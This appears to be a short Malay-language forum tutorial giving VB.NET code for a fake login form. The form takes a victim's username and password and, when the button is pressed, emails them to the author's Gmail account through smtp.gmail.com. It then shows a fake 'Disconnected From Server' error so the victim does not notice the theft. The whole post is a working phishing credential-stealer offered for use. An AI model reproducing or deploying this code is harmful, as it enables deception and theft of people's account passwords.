item yg diperlukan
2 textbox <----- tuk ltk email ngn password
2 label      <----- tuk tls nma textbox
1 button

Imports System.Net.Mail   <----- ni ltk atas skali

(ni ltk kt button)
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")         'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text         smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")

p/s: Your Gmail <----- ltk gmail korang
Your Gmail Password <----- password korang

siap!!!